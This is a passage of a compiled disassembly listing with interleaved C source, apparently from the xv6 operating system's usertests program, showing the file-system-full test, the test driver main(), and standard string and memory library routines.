359a: c6 45 a4 66 movb $0x66,-0x5c(%ebp)
name[1] = '0' + nfiles / 1000;
359e: 8b 4d f4 mov -0xc(%ebp),%ecx
35a1: b8 d3 4d 62 10 mov $0x10624dd3,%eax
35a6: f7 e9 imul %ecx
35a8: c1 fa 06 sar $0x6,%edx
35ab: 89 c8 mov %ecx,%eax
35ad: c1 f8 1f sar $0x1f,%eax
35b0: 89 d1 mov %edx,%ecx
35b2: 29 c1 sub %eax,%ecx
35b4: 89 c8 mov %ecx,%eax
35b6: 83 c0 30 add $0x30,%eax
35b9: 88 45 a5 mov %al,-0x5b(%ebp)
name[2] = '0' + (nfiles % 1000) / 100;
35bc: 8b 5d f4 mov -0xc(%ebp),%ebx
35bf: b8 d3 4d 62 10 mov $0x10624dd3,%eax
35c4: f7 eb imul %ebx
35c6: c1 fa 06 sar $0x6,%edx
35c9: 89 d8 mov %ebx,%eax
35cb: c1 f8 1f sar $0x1f,%eax
35ce: 89 d1 mov %edx,%ecx
35d0: 29 c1 sub %eax,%ecx
35d2: 89 c8 mov %ecx,%eax
35d4: c1 e0 02 shl $0x2,%eax
35d7: 01 c8 add %ecx,%eax
35d9: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
35e0: 01 d0 add %edx,%eax
35e2: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
35e9: 01 d0 add %edx,%eax
35eb: c1 e0 03 shl $0x3,%eax
35ee: 89 d9 mov %ebx,%ecx
35f0: 29 c1 sub %eax,%ecx
35f2: b8 1f 85 eb 51 mov $0x51eb851f,%eax
35f7: f7 e9 imul %ecx
35f9: c1 fa 05 sar $0x5,%edx
35fc: 89 c8 mov %ecx,%eax
35fe: c1 f8 1f sar $0x1f,%eax
3601: 89 d1 mov %edx,%ecx
3603: 29 c1 sub %eax,%ecx
3605: 89 c8 mov %ecx,%eax
3607: 83 c0 30 add $0x30,%eax
360a: 88 45 a6 mov %al,-0x5a(%ebp)
name[3] = '0' + (nfiles % 100) / 10;
360d: 8b 5d f4 mov -0xc(%ebp),%ebx
3610: b8 1f 85 eb 51 mov $0x51eb851f,%eax
3615: f7 eb imul %ebx
3617: c1 fa 05 sar $0x5,%edx
361a: 89 d8 mov %ebx,%eax
361c: c1 f8 1f sar $0x1f,%eax
361f: 89 d1 mov %edx,%ecx
3621: 29 c1 sub %eax,%ecx
3623: 89 c8 mov %ecx,%eax
3625: c1 e0 02 shl $0x2,%eax
3628: 01 c8 add %ecx,%eax
362a: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
3631: 01 d0 add %edx,%eax
3633: c1 e0 02 shl $0x2,%eax
3636: 89 d9 mov %ebx,%ecx
3638: 29 c1 sub %eax,%ecx
363a: ba 67 66 66 66 mov $0x66666667,%edx
363f: 89 c8 mov %ecx,%eax
3641: f7 ea imul %edx
3643: c1 fa 02 sar $0x2,%edx
3646: 89 c8 mov %ecx,%eax
3648: c1 f8 1f sar $0x1f,%eax
364b: 89 d1 mov %edx,%ecx
364d: 29 c1 sub %eax,%ecx
364f: 89 c8 mov %ecx,%eax
3651: 83 c0 30 add $0x30,%eax
3654: 88 45 a7 mov %al,-0x59(%ebp)
name[4] = '0' + (nfiles % 10);
3657: 8b 4d f4 mov -0xc(%ebp),%ecx
365a: ba 67 66 66 66 mov $0x66666667,%edx
365f: 89 c8 mov %ecx,%eax
3661: f7 ea imul %edx
3663: c1 fa 02 sar $0x2,%edx
3666: 89 c8 mov %ecx,%eax
3668: c1 f8 1f sar $0x1f,%eax
366b: 29 c2 sub %eax,%edx
366d: 89 d0 mov %edx,%eax
366f: c1 e0 02 shl $0x2,%eax
3672: 01 d0 add %edx,%eax
3674: d1 e0 shl %eax
3676: 89 ca mov %ecx,%edx
3678: 29 c2 sub %eax,%edx
367a: 88 d0 mov %dl,%al
367c: 83 c0 30 add $0x30,%eax
367f: 88 45 a8 mov %al,-0x58(%ebp)
name[5] = '\0';
3682: c6 45 a9 00 movb $0x0,-0x57(%ebp)
printf(1, "writing %s\n", name);
3686: 8d 45 a4 lea -0x5c(%ebp),%eax
3689: 89 44 24 08 mov %eax,0x8(%esp)
368d: c7 44 24 04 91 57 00 movl $0x5791,0x4(%esp)
3694: 00
3695: c7 04 24 01 00 00 00 movl $0x1,(%esp)
369c: e8 f7 06 00 00 call 3d98 <printf>
int fd = open(name, O_CREATE|O_RDWR);
36a1: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
36a8: 00
36a9: 8d 45 a4 lea -0x5c(%ebp),%eax
36ac: 89 04 24 mov %eax,(%esp)
36af: e8 94 05 00 00 call 3c48 <open>
36b4: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
36b7: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
36bb: 79 20 jns 36dd <fsfull+0x16c>
printf(1, "open %s failed\n", name);
36bd: 8d 45 a4 lea -0x5c(%ebp),%eax
36c0: 89 44 24 08 mov %eax,0x8(%esp)
36c4: c7 44 24 04 9d 57 00 movl $0x579d,0x4(%esp)
36cb: 00
36cc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
36d3: e8 c0 06 00 00 call 3d98 <printf>
close(fd);
if(total == 0)
break;
}
while(nfiles >= 0){
36d8: e9 6c 01 00 00 jmp 3849 <fsfull+0x2d8>
int fd = open(name, O_CREATE|O_RDWR);
if(fd < 0){
printf(1, "open %s failed\n", name);
break;
}
int total = 0;
36dd: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
while(1){
int cc = write(fd, buf, 512);
36e4: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
36eb: 00
36ec: c7 44 24 04 a0 86 00 movl $0x86a0,0x4(%esp)
36f3: 00
36f4: 8b 45 e8 mov -0x18(%ebp),%eax
36f7: 89 04 24 mov %eax,(%esp)
36fa: e8 29 05 00 00 call 3c28 <write>
36ff: 89 45 e4 mov %eax,-0x1c(%ebp)
if(cc < 512)
3702: 81 7d e4 ff 01 00 00 cmpl $0x1ff,-0x1c(%ebp)
3709: 7e 0b jle 3716 <fsfull+0x1a5>
break;
total += cc;
370b: 8b 45 e4 mov -0x1c(%ebp),%eax
370e: 01 45 ec add %eax,-0x14(%ebp)
fsblocks++;
3711: ff 45 f0 incl -0x10(%ebp)
}
3714: eb ce jmp 36e4 <fsfull+0x173>
}
int total = 0;
while(1){
int cc = write(fd, buf, 512);
if(cc < 512)
break;
3716: 90 nop
total += cc;
fsblocks++;
}
printf(1, "wrote %d bytes\n", total);
3717: 8b 45 ec mov -0x14(%ebp),%eax
371a: 89 44 24 08 mov %eax,0x8(%esp)
371e: c7 44 24 04 ad 57 00 movl $0x57ad,0x4(%esp)
3725: 00
3726: c7 04 24 01 00 00 00 movl $0x1,(%esp)
372d: e8 66 06 00 00 call 3d98 <printf>
close(fd);
3732: 8b 45 e8 mov -0x18(%ebp),%eax
3735: 89 04 24 mov %eax,(%esp)
3738: e8 f3 04 00 00 call 3c30 <close>
if(total == 0)
373d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
3741: 0f 84 02 01 00 00 je 3849 <fsfull+0x2d8>
int nfiles;
int fsblocks = 0;
printf(1, "fsfull test\n");
for(nfiles = 0; ; nfiles++){
3747: ff 45 f4 incl -0xc(%ebp)
}
printf(1, "wrote %d bytes\n", total);
close(fd);
if(total == 0)
break;
}
374a: e9 4b fe ff ff jmp 359a <fsfull+0x29>
while(nfiles >= 0){
char name[64];
name[0] = 'f';
374f: c6 45 a4 66 movb $0x66,-0x5c(%ebp)
name[1] = '0' + nfiles / 1000;
3753: 8b 4d f4 mov -0xc(%ebp),%ecx
3756: b8 d3 4d 62 10 mov $0x10624dd3,%eax
375b: f7 e9 imul %ecx
375d: c1 fa 06 sar $0x6,%edx
3760: 89 c8 mov %ecx,%eax
3762: c1 f8 1f sar $0x1f,%eax
3765: 89 d1 mov %edx,%ecx
3767: 29 c1 sub %eax,%ecx
3769: 89 c8 mov %ecx,%eax
376b: 83 c0 30 add $0x30,%eax
376e: 88 45 a5 mov %al,-0x5b(%ebp)
name[2] = '0' + (nfiles % 1000) / 100;
3771: 8b 5d f4 mov -0xc(%ebp),%ebx
3774: b8 d3 4d 62 10 mov $0x10624dd3,%eax
3779: f7 eb imul %ebx
377b: c1 fa 06 sar $0x6,%edx
377e: 89 d8 mov %ebx,%eax
3780: c1 f8 1f sar $0x1f,%eax
3783: 89 d1 mov %edx,%ecx
3785: 29 c1 sub %eax,%ecx
3787: 89 c8 mov %ecx,%eax
3789: c1 e0 02 shl $0x2,%eax
378c: 01 c8 add %ecx,%eax
378e: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
3795: 01 d0 add %edx,%eax
3797: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
379e: 01 d0 add %edx,%eax
37a0: c1 e0 03 shl $0x3,%eax
37a3: 89 d9 mov %ebx,%ecx
37a5: 29 c1 sub %eax,%ecx
37a7: b8 1f 85 eb 51 mov $0x51eb851f,%eax
37ac: f7 e9 imul %ecx
37ae: c1 fa 05 sar $0x5,%edx
37b1: 89 c8 mov %ecx,%eax
37b3: c1 f8 1f sar $0x1f,%eax
37b6: 89 d1 mov %edx,%ecx
37b8: 29 c1 sub %eax,%ecx
37ba: 89 c8 mov %ecx,%eax
37bc: 83 c0 30 add $0x30,%eax
37bf: 88 45 a6 mov %al,-0x5a(%ebp)
name[3] = '0' + (nfiles % 100) / 10;
37c2: 8b 5d f4 mov -0xc(%ebp),%ebx
37c5: b8 1f 85 eb 51 mov $0x51eb851f,%eax
37ca: f7 eb imul %ebx
37cc: c1 fa 05 sar $0x5,%edx
37cf: 89 d8 mov %ebx,%eax
37d1: c1 f8 1f sar $0x1f,%eax
37d4: 89 d1 mov %edx,%ecx
37d6: 29 c1 sub %eax,%ecx
37d8: 89 c8 mov %ecx,%eax
37da: c1 e0 02 shl $0x2,%eax
37dd: 01 c8 add %ecx,%eax
37df: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
37e6: 01 d0 add %edx,%eax
37e8: c1 e0 02 shl $0x2,%eax
37eb: 89 d9 mov %ebx,%ecx
37ed: 29 c1 sub %eax,%ecx
37ef: ba 67 66 66 66 mov $0x66666667,%edx
37f4: 89 c8 mov %ecx,%eax
37f6: f7 ea imul %edx
37f8: c1 fa 02 sar $0x2,%edx
37fb: 89 c8 mov %ecx,%eax
37fd: c1 f8 1f sar $0x1f,%eax
3800: 89 d1 mov %edx,%ecx
3802: 29 c1 sub %eax,%ecx
3804: 89 c8 mov %ecx,%eax
3806: 83 c0 30 add $0x30,%eax
3809: 88 45 a7 mov %al,-0x59(%ebp)
name[4] = '0' + (nfiles % 10);
380c: 8b 4d f4 mov -0xc(%ebp),%ecx
380f: ba 67 66 66 66 mov $0x66666667,%edx
3814: 89 c8 mov %ecx,%eax
3816: f7 ea imul %edx
3818: c1 fa 02 sar $0x2,%edx
381b: 89 c8 mov %ecx,%eax
381d: c1 f8 1f sar $0x1f,%eax
3820: 29 c2 sub %eax,%edx
3822: 89 d0 mov %edx,%eax
3824: c1 e0 02 shl $0x2,%eax
3827: 01 d0 add %edx,%eax
3829: d1 e0 shl %eax
382b: 89 ca mov %ecx,%edx
382d: 29 c2 sub %eax,%edx
382f: 88 d0 mov %dl,%al
3831: 83 c0 30 add $0x30,%eax
3834: 88 45 a8 mov %al,-0x58(%ebp)
name[5] = '\0';
3837: c6 45 a9 00 movb $0x0,-0x57(%ebp)
unlink(name);
383b: 8d 45 a4 lea -0x5c(%ebp),%eax
383e: 89 04 24 mov %eax,(%esp)
3841: e8 12 04 00 00 call 3c58 <unlink>
nfiles--;
3846: ff 4d f4 decl -0xc(%ebp)
close(fd);
if(total == 0)
break;
}
while(nfiles >= 0){
3849: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
384d: 0f 89 fc fe ff ff jns 374f <fsfull+0x1de>
name[5] = '\0';
unlink(name);
nfiles--;
}
printf(1, "fsfull test finished\n");
3853: c7 44 24 04 bd 57 00 movl $0x57bd,0x4(%esp)
385a: 00
385b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3862: e8 31 05 00 00 call 3d98 <printf>
}
3867: 83 c4 74 add $0x74,%esp
386a: 5b pop %ebx
386b: 5d pop %ebp
386c: c3 ret
0000386d <rand>:
unsigned long randstate = 1;
unsigned int
rand()
{
386d: 55 push %ebp
386e: 89 e5 mov %esp,%ebp
randstate = randstate * 1664525 + 1013904223;
3870: 8b 15 b8 5e 00 00 mov 0x5eb8,%edx
3876: 89 d0 mov %edx,%eax
3878: d1 e0 shl %eax
387a: 01 d0 add %edx,%eax
387c: c1 e0 02 shl $0x2,%eax
387f: 01 d0 add %edx,%eax
3881: c1 e0 08 shl $0x8,%eax
3884: 01 d0 add %edx,%eax
3886: 8d 0c 85 00 00 00 00 lea 0x0(,%eax,4),%ecx
388d: 01 c8 add %ecx,%eax
388f: c1 e0 02 shl $0x2,%eax
3892: 01 d0 add %edx,%eax
3894: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
389b: 01 d0 add %edx,%eax
389d: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
38a4: 01 d0 add %edx,%eax
38a6: 05 5f f3 6e 3c add $0x3c6ef35f,%eax
38ab: a3 b8 5e 00 00 mov %eax,0x5eb8
return randstate;
38b0: a1 b8 5e 00 00 mov 0x5eb8,%eax
}
38b5: 5d pop %ebp
38b6: c3 ret
000038b7 <main>:
int
main(int argc, char *argv[])
{
38b7: 55 push %ebp
38b8: 89 e5 mov %esp,%ebp
38ba: 83 e4 f0 and $0xfffffff0,%esp
38bd: 83 ec 10 sub $0x10,%esp
printf(1, "usertests starting\n");
38c0: c7 44 24 04 d3 57 00 movl $0x57d3,0x4(%esp)
38c7: 00
38c8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
38cf: e8 c4 04 00 00 call 3d98 <printf>
if(open("usertests.ran", 0) >= 0){
38d4: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
38db: 00
38dc: c7 04 24 e7 57 00 00 movl $0x57e7,(%esp)
38e3: e8 60 03 00 00 call 3c48 <open>
38e8: 85 c0 test %eax,%eax
38ea: 78 19 js 3905 <main+0x4e>
printf(1, "already ran user tests -- rebuild fs.img\n");
38ec: c7 44 24 04 f8 57 00 movl $0x57f8,0x4(%esp)
38f3: 00
38f4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
38fb: e8 98 04 00 00 call 3d98 <printf>
exit();
3900: e8 03 03 00 00 call 3c08 <exit>
}
close(open("usertests.ran", O_CREATE));
3905: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
390c: 00
390d: c7 04 24 e7 57 00 00 movl $0x57e7,(%esp)
3914: e8 2f 03 00 00 call 3c48 <open>
3919: 89 04 24 mov %eax,(%esp)
391c: e8 0f 03 00 00 call 3c30 <close>
bigargtest();
3921: e8 23 fb ff ff call 3449 <bigargtest>
bigwrite();
3926: e8 9c ea ff ff call 23c7 <bigwrite>
bigargtest();
392b: e8 19 fb ff ff call 3449 <bigargtest>
bsstest();
3930: e8 a4 fa ff ff call 33d9 <bsstest>
sbrktest();
3935: e8 b7 f4 ff ff call 2df1 <sbrktest>
validatetest();
393a: e8 cd f9 ff ff call 330c <validatetest>
opentest();
393f: e8 bc c6 ff ff call 0 <opentest>
writetest();
3944: e8 62 c7 ff ff call ab <writetest>
writetest1();
3949: e8 71 c9 ff ff call 2bf <writetest1>
createtest();
394e: e8 73 cb ff ff call 4c6 <createtest>
mem();
3953: e8 0b d1 ff ff call a63 <mem>
pipe1();
3958: e8 48 cd ff ff call 6a5 <pipe1>
preempt();
395d: e8 2b cf ff ff call 88d <preempt>
exitwait();
3962: e8 7f d0 ff ff call 9e6 <exitwait>
rmdot();
3967: e8 d7 ee ff ff call 2843 <rmdot>
fourteen();
396c: e8 7c ed ff ff call 26ed <fourteen>
bigfile();
3971: e8 58 eb ff ff call 24ce <bigfile>
subdir();
3976: e8 08 e3 ff ff call 1c83 <subdir>
concreate();
397b: e8 e8 dc ff ff call 1668 <concreate>
linkunlink();
3980: e8 4a e0 ff ff call 19cf <linkunlink>
linktest();
3985: e8 95 da ff ff call 141f <linktest>
unlinkread();
398a: e8 bd d8 ff ff call 124c <unlinkread>
createdelete();
398f: e8 10 d6 ff ff call fa4 <createdelete>
twofiles();
3994: e8 a7 d3 ff ff call d40 <twofiles>
sharedfd();
3999: e8 aa d1 ff ff call b48 <sharedfd>
dirfile();
399e: e8 18 f0 ff ff call 29bb <dirfile>
iref();
39a3: e8 55 f2 ff ff call 2bfd <iref>
forktest();
39a8: e8 73 f3 ff ff call 2d20 <forktest>
bigdir(); // slow
39ad: e8 62 e1 ff ff call 1b14 <bigdir>
exectest();
39b2: e8 9f cc ff ff call 656 <exectest>
exit();
39b7: e8 4c 02 00 00 call 3c08 <exit>
000039bc <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
39bc: 55 push %ebp
39bd: 89 e5 mov %esp,%ebp
39bf: 57 push %edi
39c0: 53 push %ebx
asm volatile("cld; rep stosb" :
39c1: 8b 4d 08 mov 0x8(%ebp),%ecx
39c4: 8b 55 10 mov 0x10(%ebp),%edx
39c7: 8b 45 0c mov 0xc(%ebp),%eax
39ca: 89 cb mov %ecx,%ebx
39cc: 89 df mov %ebx,%edi
39ce: 89 d1 mov %edx,%ecx
39d0: fc cld
39d1: f3 aa rep stos %al,%es:(%edi)
39d3: 89 ca mov %ecx,%edx
39d5: 89 fb mov %edi,%ebx
39d7: 89 5d 08 mov %ebx,0x8(%ebp)
39da: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
39dd: 5b pop %ebx
39de: 5f pop %edi
39df: 5d pop %ebp
39e0: c3 ret
000039e1 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
39e1: 55 push %ebp
39e2: 89 e5 mov %esp,%ebp
39e4: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
39e7: 8b 45 08 mov 0x8(%ebp),%eax
39ea: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
39ed: 90 nop
39ee: 8b 45 0c mov 0xc(%ebp),%eax
39f1: 8a 10 mov (%eax),%dl
39f3: 8b 45 08 mov 0x8(%ebp),%eax
39f6: 88 10 mov %dl,(%eax)
39f8: 8b 45 08 mov 0x8(%ebp),%eax
39fb: 8a 00 mov (%eax),%al
39fd: 84 c0 test %al,%al
39ff: 0f 95 c0 setne %al
3a02: ff 45 08 incl 0x8(%ebp)
3a05: ff 45 0c incl 0xc(%ebp)
3a08: 84 c0 test %al,%al
3a0a: 75 e2 jne 39ee <strcpy+0xd>
;
return os;
3a0c: 8b 45 fc mov -0x4(%ebp),%eax
}
3a0f: c9 leave
3a10: c3 ret
00003a11 <strcmp>:
int
strcmp(const char *p, const char *q)
{
3a11: 55 push %ebp
3a12: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
3a14: eb 06 jmp 3a1c <strcmp+0xb>
p++, q++;
3a16: ff 45 08 incl 0x8(%ebp)
3a19: ff 45 0c incl 0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
3a1c: 8b 45 08 mov 0x8(%ebp),%eax
3a1f: 8a 00 mov (%eax),%al
3a21: 84 c0 test %al,%al
3a23: 74 0e je 3a33 <strcmp+0x22>
3a25: 8b 45 08 mov 0x8(%ebp),%eax
3a28: 8a 10 mov (%eax),%dl
3a2a: 8b 45 0c mov 0xc(%ebp),%eax
3a2d: 8a 00 mov (%eax),%al
3a2f: 38 c2 cmp %al,%dl
3a31: 74 e3 je 3a16 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
3a33: 8b 45 08 mov 0x8(%ebp),%eax
3a36: 8a 00 mov (%eax),%al
3a38: 0f b6 d0 movzbl %al,%edx
3a3b: 8b 45 0c mov 0xc(%ebp),%eax
3a3e: 8a 00 mov (%eax),%al
3a40: 0f b6 c0 movzbl %al,%eax
3a43: 89 d1 mov %edx,%ecx
3a45: 29 c1 sub %eax,%ecx
3a47: 89 c8 mov %ecx,%eax
}
3a49: 5d pop %ebp
3a4a: c3 ret
00003a4b <strlen>:
uint
strlen(char *s)
{
3a4b: 55 push %ebp
3a4c: 89 e5 mov %esp,%ebp
3a4e: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
3a51: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
3a58: eb 03 jmp 3a5d <strlen+0x12>
3a5a: ff 45 fc incl -0x4(%ebp)
3a5d: 8b 55 fc mov -0x4(%ebp),%edx
3a60: 8b 45 08 mov 0x8(%ebp),%eax
3a63: 01 d0 add %edx,%eax
3a65: 8a 00 mov (%eax),%al
3a67: 84 c0 test %al,%al
3a69: 75 ef jne 3a5a <strlen+0xf>
;
return n;
3a6b: 8b 45 fc mov -0x4(%ebp),%eax
}
3a6e: c9 leave
3a6f: c3 ret
00003a70 <memset>:
void*
memset(void *dst, int c, uint n)
{
3a70: 55 push %ebp
3a71: 89 e5 mov %esp,%ebp
3a73: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
3a76: 8b 45 10 mov 0x10(%ebp),%eax
3a79: 89 44 24 08 mov %eax,0x8(%esp)
3a7d: 8b 45 0c mov 0xc(%ebp),%eax
3a80: 89 44 24 04 mov %eax,0x4(%esp)
3a84: 8b 45 08 mov 0x8(%ebp),%eax
3a87: 89 04 24 mov %eax,(%esp)
3a8a: e8 2d ff ff ff call 39bc <stosb>
return dst;
3a8f: 8b 45 08 mov 0x8(%ebp),%eax
}
3a92: c9 leave
3a93: c3 ret
00003a94 <strchr>:
char*
strchr(const char *s, char c)
{
3a94: 55 push %ebp
3a95: 89 e5 mov %esp,%ebp
3a97: 83 ec 04 sub $0x4,%esp
3a9a: 8b 45 0c mov 0xc(%ebp),%eax
3a9d: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
3aa0: eb 12 jmp 3ab4 <strchr+0x20>
if(*s == c)
3aa2: 8b 45 08 mov 0x8(%ebp),%eax
3aa5: 8a 00 mov (%eax),%al
3aa7: 3a 45 fc cmp -0x4(%ebp),%al
3aaa: 75 05 jne 3ab1 <strchr+0x1d>
return (char*)s;
3aac: 8b 45 08 mov 0x8(%ebp),%eax
3aaf: eb 11 jmp 3ac2 <strchr+0x2e>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
3ab1: ff 45 08 incl 0x8(%ebp)
3ab4: 8b 45 08 mov 0x8(%ebp),%eax
3ab7: 8a 00 mov (%eax),%al
3ab9: 84 c0 test %al,%al
3abb: 75 e5 jne 3aa2 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
3abd: b8 00 00 00 00 mov $0x0,%eax
}
3ac2: c9 leave
3ac3: c3 ret
00003ac4 <gets>:
char*
gets(char *buf, int max)
{
3ac4: 55 push %ebp
3ac5: 89 e5 mov %esp,%ebp
3ac7: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
3aca: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
3ad1: eb 42 jmp 3b15 <gets+0x51>
cc = read(0, &c, 1);
3ad3: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3ada: 00
3adb: 8d 45 ef lea -0x11(%ebp),%eax
3ade: 89 44 24 04 mov %eax,0x4(%esp)
3ae2: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3ae9: e8 32 01 00 00 call 3c20 <read>
3aee: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
3af1: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3af5: 7e 29 jle 3b20 <gets+0x5c>
break;
buf[i++] = c;
3af7: 8b 55 f4 mov -0xc(%ebp),%edx
3afa: 8b 45 08 mov 0x8(%ebp),%eax
3afd: 01 c2 add %eax,%edx
3aff: 8a 45 ef mov -0x11(%ebp),%al
3b02: 88 02 mov %al,(%edx)
3b04: ff 45 f4 incl -0xc(%ebp)
if(c == '\n' || c == '\r')
3b07: 8a 45 ef mov -0x11(%ebp),%al
3b0a: 3c 0a cmp $0xa,%al
3b0c: 74 13 je 3b21 <gets+0x5d>
3b0e: 8a 45 ef mov -0x11(%ebp),%al
3b11: 3c 0d cmp $0xd,%al
3b13: 74 0c je 3b21 <gets+0x5d>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
3b15: 8b 45 f4 mov -0xc(%ebp),%eax
3b18: 40 inc %eax
3b19: 3b 45 0c cmp 0xc(%ebp),%eax
3b1c: 7c b5 jl 3ad3 <gets+0xf>
3b1e: eb 01 jmp 3b21 <gets+0x5d>
cc = read(0, &c, 1);
if(cc < 1)
break;
3b20: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
3b21: 8b 55 f4 mov -0xc(%ebp),%edx
3b24: 8b 45 08 mov 0x8(%ebp),%eax
3b27: 01 d0 add %edx,%eax
3b29: c6 00 00 movb $0x0,(%eax)
return buf;
3b2c: 8b 45 08 mov 0x8(%ebp),%eax
}
3b2f: c9 leave
3b30: c3 ret
00003b31 <stat>:
int
stat(char *n, struct stat *st)
{
3b31: 55 push %ebp
3b32: 89 e5 mov %esp,%ebp
3b34: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
3b37: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
3b3e: 00
3b3f: 8b 45 08 mov 0x8(%ebp),%eax
3b42: 89 04 24 mov %eax,(%esp)
3b45: e8 fe 00 00 00 call 3c48 <open>
3b4a: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
3b4d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3b51: 79 07 jns 3b5a <stat+0x29>
return -1;
3b53: b8 ff ff ff ff mov $0xffffffff,%eax
3b58: eb 23 jmp 3b7d <stat+0x4c>
r = fstat(fd, st);
3b5a: 8b 45 0c mov 0xc(%ebp),%eax
3b5d: 89 44 24 04 mov %eax,0x4(%esp)
3b61: 8b 45 f4 mov -0xc(%ebp),%eax
3b64: 89 04 24 mov %eax,(%esp)
3b67: e8 f4 00 00 00 call 3c60 <fstat>
3b6c: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
3b6f: 8b 45 f4 mov -0xc(%ebp),%eax
3b72: 89 04 24 mov %eax,(%esp)
3b75: e8 b6 00 00 00 call 3c30 <close>
return r;
3b7a: 8b 45 f0 mov -0x10(%ebp),%eax
}
3b7d: c9 leave
3b7e: c3 ret
00003b7f <atoi>:
int
atoi(const char *s)
{
3b7f: 55 push %ebp
3b80: 89 e5 mov %esp,%ebp
3b82: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
3b85: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
3b8c: eb 21 jmp 3baf <atoi+0x30>
n = n*10 + *s++ - '0';
3b8e: 8b 55 fc mov -0x4(%ebp),%edx
3b91: 89 d0 mov %edx,%eax
3b93: c1 e0 02 shl $0x2,%eax
3b96: 01 d0 add %edx,%eax
3b98: d1 e0 shl %eax
3b9a: 89 c2 mov %eax,%edx
3b9c: 8b 45 08 mov 0x8(%ebp),%eax
3b9f: 8a 00 mov (%eax),%al
3ba1: 0f be c0 movsbl %al,%eax
3ba4: 01 d0 add %edx,%eax
3ba6: 83 e8 30 sub $0x30,%eax
3ba9: 89 45 fc mov %eax,-0x4(%ebp)
3bac: ff 45 08 incl 0x8(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
3baf: 8b 45 08 mov 0x8(%ebp),%eax
3bb2: 8a 00 mov (%eax),%al
3bb4: 3c 2f cmp $0x2f,%al
3bb6: 7e 09 jle 3bc1 <atoi+0x42>
3bb8: 8b 45 08 mov 0x8(%ebp),%eax
3bbb: 8a 00 mov (%eax),%al
3bbd: 3c 39 cmp $0x39,%al
3bbf: 7e cd jle 3b8e <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
3bc1: 8b 45 fc mov -0x4(%ebp),%eax
}
3bc4: c9 leave
3bc5: c3 ret
00003bc6 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
3bc6: 55 push %ebp
3bc7: 89 e5 mov %esp,%ebp
3bc9: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
3bcc: 8b 45 08 mov 0x8(%ebp),%eax
3bcf: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
3bd2: 8b 45 0c mov 0xc(%ebp),%eax
3bd5: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
3bd8: eb 10 jmp 3bea <memmove+0x24>
*dst++ = *src++;
3bda: 8b 45 f8 mov -0x8(%ebp),%eax
3bdd: 8a 10 mov (%eax),%dl
3bdf: 8b 45 fc mov -0x4(%ebp),%eax
3be2: 88 10 mov %dl,(%eax)
3be4: ff 45 fc incl -0x4(%ebp)
3be7: ff 45 f8 incl -0x8(%ebp)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
3bea: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
3bee: 0f 9f c0 setg %al
3bf1: ff 4d 10 decl 0x10(%ebp)
3bf4: 84 c0 test %al,%al
3bf6: 75 e2 jne 3bda <memmove+0x14>
*dst++ = *src++;
return vdst;
3bf8: 8b 45 08 mov 0x8(%ebp),%eax
}
3bfb: c9 leave
3bfc: c3 ret
3bfd: 66 90 xchg %ax,%ax
3bff: 90 nop
00003c00 <fork>:
name: \
movl $SYS_ ## name, %eax; \
